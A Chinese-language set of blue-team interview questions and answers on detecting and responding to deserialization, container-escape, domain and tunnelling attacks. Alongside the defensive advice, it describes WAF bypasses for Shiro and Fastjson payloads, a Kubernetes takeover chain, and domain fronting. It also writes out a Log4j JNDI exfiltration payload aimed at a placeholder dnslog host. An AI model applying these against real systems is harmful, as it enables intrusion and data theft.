1、反序列化攻击response的返回状态码是500是否攻击成功?
你在数据包里面看到有明显的反序列化数据就得注意,特别是看到包里面有yv66vgAAADE这种字样,这是base64过后的 强反序列化打内存马特征。很多中间件和打内存马过后返回包都是500,例如Jboss,还有有的webshell落地访问也是500。遇到该告警要将源ip和目的ip单独拉出来去看他们的日志结合上下日志来分析。
2、Shiro反序列化告警如何判断是真实攻击还是业务交互?
看数据包remember长度,如果很长那么大概率有问题,但通过该地方不太好直接判断是否被攻击成功。除非是直接回显了命令执行后的结果,最好用ABC_123写的蓝队应急工具将remember字段的内容进行反解密,查看具体内容。如果存在攻击特征,那么就持续监控该业务的后续日志来看是否被成功攻击。
3、redis利用中写计划任务 centos和ubuntu的区别
Centos会忽略乱码正常执行计划任务,Ubuntu不会忽略乱码写入后文件内容受损不能正常运行计划任务。
4、讲讲你了解的云安全
k8s集群的话就是先讲一下 docker逃逸,常见的逃逸方法就是:
特权容器逃逸
docker.sock被挂载在容器内
容器挂载了宿主机 / 根目录、/proc/目录
扫描内网发现docker存在2375未授权
内核提权漏洞可以直接获取Node宿主机权限
用CDK检查一遍
逃逸成功后在node上筛出该node下所有容器的token,利用该token和k8s的apiserver做认证查询权限,找到存在高权限的token进行创建pod挂载集群Master主机根/目录进行控制集群
K8s dashboard未授权、apiserver未授权(现代近几年k8s已经不允许设置该选项了,如果设置apiserver未授权集群会启动不了。可以提一下这段话,会让面试官知道你是真知道这些玩意),etcd未授权查询集群内秘钥,10250未授权查看pod配置信息,容器token rbac特殊权限配置逃逸。
感兴趣大家可以自己去深入了解了解
5、springboot一些风险点
端点泄露
heapdump 可以看到java业务的配置信息,也可以查到Shiro的Key配合Shrio反序列化进行攻击
httptrace 可以看到业务登录的Cookie Session
gateway routes的漏洞
netflix组件反序列化、SnakeYAML反序列化漏洞(两个漏洞都需要支持Post)
6、域用户可以导出域内DNS记录吗?
可以
7、Mssql执行命令
Xp_cmdshell xp_cmdshell是Sql Server中的一个存储过程
SP_Oacreate (com组件,无回显,可将结果写入数据库表中,web路径或利用dnslog带出来)
Clr (clr是.net的一个组件,可以用来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。)
8、Shiro反序列化payload如何去绕过Waf?
!、#、$、%、&、’、(、)、.、[、]、\xeb、\xec、\xed、\xee、\xef、\xf0、\xf1等等去更改remember的值,有的Waf针对常见请求方法进行了防护,可以用不存在的请求方法绕过,例如GET/POST改为XXX等
9、Fastjson反序列化如何去绕过Waf?
fastjson支持字符串的Unicode编码和十六进制编码
也可以分别使用-和_来对payload进行混淆
可以通过插入相关的注释进行混淆,也可以构造超长数据包的方式进行Bypass
多个属性之间引入多个逗号,,进行混淆
10、如果你在防守的时候发现流量设备告警有机器通过samr查询域内所有用户和域内所有组,但是你上机排查的时候发现没有恶意木马,没有恶意回连。
那么你可以看看机器上是否有刚刚安装或者刚刚运行以下操作:
- win11更新,大版本更新时偶尔查询domain admins组
- 元气桌面,安装时遍历域内所有用户,会触发所有敏感用户的查询告警
- C盘清理大师,同元气桌面
- 斗鱼直播,每次打开都会遍历域内所有用户,触发敏感用户查询告警
- CRISpro,不太常见,核心原因是启动的时候带起来的一个环境检测脚本里面带了一句wmic USERACCOUNT
- 某些国内的工业设计软件
11、流量设备监控到域控主机请求了很多恶意域名是什么情况呢?在域控主机排查没有任何问题
域内大部分都是域控充当DNS服务器,域内pc中木马了访问了恶意域名。会从域控DNS解析。
12、讲一些未授权漏洞
自由发挥,考验你知识面
13、Log4j除了反序列化还可以做什么
外带信息:springboot可以使用bundle:application获得数据库密码等敏感信息、dnslog外带${jndi:ldap://${java:version}.xxx.dnslog.cn}
14、黄金票据是什么东西?他是用来干什么的?利用条件是什么?
伪造TGT跳过AS认证,用来做维权,相当于有了一个域内高权的通行证
需要 :krbtgt的hash,域名称,域SID、krbtgt的秘钥不会被更改
15、什么是委派、约束委派、非约束委派、基于资源的约束委派(rbcd) (被问的几率比较大)
需要大家去简单了解下,这几个东西可以一句话讲出来就行,然后多了解点rbcd,被问的过程中着重讲rbcd
16、JA3指纹是什么?
JA3/JA3S 可以为客户端和服务器之间的通信创建 TLS 指纹,我们可以通过他去判断是否为:cs msf sliver burp
17、场景题:流量设备检测到有webshell通信,但是你在Linux主机上没有查到任何落地文件,也没有内存马,重启中间件也还是发现攻击者在访问。
debugfs EXT4文件格式下的文件操作命令 ,该命令可以用来隐藏文件
18、Mysql时间盲注的情况下,目标主机为Windows如何加速?
外带DnsLog加速
19、CS流量通信的一些特征
checksum8的算法、beacon的解密秘钥、用profile,业务服务器上请求了 jquery-xx.js文件、默认证书。
BeaconEye去主机扫描查杀
其实默认CS的特征大家可以去网上搜一下文章很多然后给面试官讲一讲。但是来来回回讲的都是checksum8还有HTTP Listen Https空证书的特征,这些在现在的攻防演练中已经是看不到了,哪个红队会用原生默认的CS了?谁会有Http Listen呢?这几年的攻防演练CS这块查杀是依赖于端侧EDR的内存扫描查杀并不是网络流量层。
20、域前置
CDN:网上文章很多,简单说一下,CDN有很多节点(IP),本意为了静态资源加速、访问提速等功能,其原理类似虚拟主机,通过Host来转发配置在CDN后面真正要访问的资源,这就像很多企业配置了Nginx等反代,通过不同的域名、端口来访问内网不同的资源。
所以,简单一句话,CDN节点会通过请求来的Host进行判断要转发到的地址。
域前置:已知,CDN通过HOST转发,那么CDN不仅仅为你一个用户提供服务,同时也对很多高信誉域名提供转发服务,如果你是有qq.com的管理权限要配置CDN,那么配置结束后,用户正常访问qq.com,就会分配不同的节点用来加速,所以说qq.com等同于若干个CDN节点。
我们通过CDN厂商校验不严格的问题注册了不属于我们的域名,实质上这个域名在流量中没有任何意义,只是让CDN负责转发的标识,这样我们访问qq.com,但是Host配置为自己的注册域名/标识,CDN就会转发到我们配置的源站,这样就利用qq.com在目标完成了一次白名单出网,目标全程只会看到与qq.com进行通信,这就是域前置的精髓。
header host不同,对比SNI与Host会发现不一致 包里面SNI是baidu.com、qcloud 这种 ,特点是封不干净、CDN会轮询到下一个IP。
21、安全设备上告警主机已失陷,让你上机排查你有哪些思路呢? 通过web漏洞进入的
自由发散问题
22、dns,icmp这种隧道怎么应急响应,怎么定位进程
DNS隧道有两个比较强的特征:DNS查询频率异常高、响应数据可能带有大量文本数据
ICMP的话直接看报文长度,不符合正常ping行为就得引起注意
相比来说的话ICMP隧道比DNS隧道好检测,DNS在内网日志量较大并且杂乱
定位DNS隧道工具进程:
Windows上直接查netsta -ano | findstr :53 查看输出的PID 然后tasklist | findstr pid就能看到进程
Linux上就lsof -i :53查看谁在用53 netstat -tunp 直接查看连接和进程
ICMP定位比较复杂,可以看看
https://cloud.tencent.com/developer/article/2433309
https://cloud.tencent.com/developer/article/2433308
23、文件上传告警如何判断是否为真实攻击者?
抛开常见webshell后缀,如果遇到了你不认识的乱码后缀怎么办呢?例如cp037 utf7 等等,你一眼看过去看filename的名是乱的不认识可能就会不在意。我们可以通过multipart/form-data后面的ID值来判断是否为真实攻击者,正常业务上传功能点,每一次上传这个ID都是会变的,如果你发现他连续两三个包都没有变化,那么就是真实攻击者在抓包工具中连续发包测试,就要对该业务进行一个后续监控查看攻击者后续操作和直接封禁IP。
24、文件上传数据包中看到了.dll后缀和web.conf是正常的吗?
不正常,几乎没有什么web业务会直接上传.dll文件和web.conf文件,大家可以参考下畅捷通漏洞。
25、设备告警存在恶意进程,但是上机Linux上排查不到该进程
有的隐藏是劫持了ps netstat命令。养成习惯上机排查尽量不用本机的命令,用busybox去执行,这个在linux主机都带的有,busybox ps -aux 这样去看
mount查看最新的挂载,最新的挂载是否为 /proc/pid号/ 这种,系统默认的/proc/挂载都是在上面 不会是最新的,然后去对比进程中是否有这个pid 没有那就是确定通过mount挂载隐藏手法,然后通过进入/proc/pid 该目录去定位恶意进程文件所在地
网上说的一些隐藏进程其实是更改了进程名例如:argv[0]/argv[] 这一类的设备告警后上机直接可以看到 并不是真正的隐藏进程
这种问题也可以上网搜搜了解下,回答面试官的时候都提一下,然后着重讲一两个点。
26、内存马查杀
回答这个问题的时候先回答下内存马有哪几种类型 然后在讲查杀
网上比较大众化的思路:
1、先查看检查服务器web日志,查看是否有可疑的web访问日志,比如说filter或者listener类型的内存马,会有大量url请求路径相同参数不同的,或者页面不存在但是返回200的请求。
2、如果在web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的error.log日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
3、查看是否有类似哥斯拉、冰蝎特征的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。
4、通过查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马。
查杀
- 重启服务
- 更新应用程序:如果内存马是由于应用程序漏洞导致的,可以通过更新程序来修复漏洞,从而清楚内存马。
- 使用安全工具
- 手动排查
其实如果流量设备告警有内存马 那么直接丢java-memshell-scanner上去扫是比较快速高效的,如果你想深入了解内存马查杀这些的话推荐看看:
https://mp.weixin.qq.com/s/072NxRT-stFi7nhDuP5Z4Q
27、内网frp隧道的流量特征,隧道查杀,隧道类型
内网隧道类型有:frp、dns、icmp、ssh、tcp、udp、http
查杀:先对对应协议就行流量分析,找到其对应的进程,对其进程执行的文件利用火绒剑等进行定性是否为隧道工具。
frp隧道的流量特征:
- 未启用TLS加密:可以看到frp版本信息,Privilege_key等会话信息,都是明文。

- 启动TLS加密:没有了版本信息和会话信息。不过,在建立连接的过程启用tls前,客户端携带”0x17”,请求服务端后续有”Gryphon”协议,”Gryphon”协议为工控协议,用于车用通讯协定。
28、内网隧道的原理
- 数据封装:将原始数据包封在防火墙允许的协议或端口中,例如,IPV6隧道、ICMP、TCP、UDP、DNS、SSH、HTTP隧道等。
- 数据传输:封装后的数据包通过防火墙或NAT传输到目标端
- 数据还原:在目标端,数据包被还原成原始数据,继续后续处理或存储。
29、文件上传的内容加密,状态码是200,响应包里什么也没有,怎样知道它是否执行成功
30、C2后门查杀
查看文件中的外连ip地址,定位到文件,看它是exe还是powershell还是office宏,然后杀后门、封ip、封网络
31、C2域前置的原理
- 通过加密通信、混淆流量、模拟正常流量来避免被安全防护措施检测到。